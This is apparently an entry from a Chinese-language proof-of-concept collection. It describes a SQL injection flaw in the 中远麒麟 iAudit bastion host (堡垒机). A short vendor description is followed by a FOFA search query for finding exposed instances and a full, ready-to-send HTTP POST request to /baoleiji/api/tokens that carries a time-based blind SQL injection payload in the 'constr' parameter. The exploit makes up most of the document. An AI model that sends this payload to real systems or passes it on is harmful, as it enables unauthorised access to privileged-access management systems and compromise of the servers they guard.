Z7-1中远麒麟-堡垒机-SQL

漏洞描述：

中远麒麟依托自身强大的研发能力,丰富的行业经验，自主研发了新一代软硬件一体化统一安全运维平台一-iAudit 统一安全运维平台。该产品支持对企业运维人员在运维过程中进行统一身份认证、统一授权、统一审计、统一监控，消除了传统运维过程中的盲区，实现了运维简单化、操作可控化、过程可视化，是企业 IT 内控最有效的管理平台。

网站图片:

网络测绘:

fofa语法：

- fofacert.subject="Baolei"

漏洞复现:

payload：

```
POST /baoleiji/api/tokens HTTP/1.1
Host: xx.xx.xx.xx
Cookie: PHPSESSID=66b53a13d3db0e27a9676d419c374c42
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 91

constr=1' AND (SELECT 6999 FROM (SELECT(SLEEP(10)))ptGN) AND'AAdm'='AAdm&title=%40127.0.0.1
```

效果图: